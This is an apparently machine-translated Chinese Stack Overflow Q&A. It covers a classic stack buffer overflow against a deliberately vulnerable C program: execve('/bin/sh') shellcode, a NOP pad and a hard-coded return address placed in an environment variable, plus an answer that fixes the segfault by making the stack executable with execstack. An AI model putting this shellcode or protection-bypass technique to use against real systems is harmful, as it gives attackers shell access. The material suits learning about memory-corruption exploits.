我尝试让缓冲区溢出起作用。我有以下简单的易受攻击的程序:
int main(int argc, char** argv) {
char buffer[80];
strcpy(buffer,argv[1]);
return 1;
}
通过以下程序,我想获得一个带有缓冲区溢出的 Shell。
char shellcode[]=
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80";
char retaddr[] = "\xa8\xd5\xff\xff";
#define NOP 0x90
int main() {
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=",4);
memcpy(buffer+4,shellcode,24);
memcpy(buffer+88,retaddr,4);
memcpy(buffer+92, "\x00\x00\x00\x00",4);
putenv(buffer);
printf("%p\n", buffer);
system("/bin/sh");
return 0;
}
该程序在开始时使用 shellcode 创建一个缓冲区。 Shellcode 之后是一些 NOP 指令,然后是覆盖返回地址并指向 Shellcode 开头的值。然后它使用缓冲区创建一个环境变量并启动一个 Shell。
如果我运行该程序,shell 就会启动并设置环境变量。但是,如果我尝试使用环境变量作为参数来运行易受攻击的程序,则会出现段错误。
以下是一些使用 gdb 的屏幕: 我没有足够的声誉来直接发布图片,所以这里是一个包含 4 张图片的 imgur 相册的链接。
第一张图片显示了 strcpy 发生之前的堆栈。
第二个显示argv 1
第三张图显示了strcpy之后的堆栈。
如果可以看到0xf7e00497就是返回地址。如果我反汇编该地址,则会显示 libc 函数的代码。
在第三张图中,您可以看到该地址被指向堆栈顶部的地址 0xffffd5a8 覆盖。
在图 4 中,如果程序无法运行,您会看到段错误。
谁能告诉我为什么?一切似乎都还好? 我使用 gcc 的 -fno-stack-protector 选项编译了这两个程序。
最佳答案
感谢@type1232,问题是堆栈不可执行。
使用execstack -s vulProg
,shellcode将运行。
关于c - 出现段错误时缓冲区溢出将不起作用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/32806316/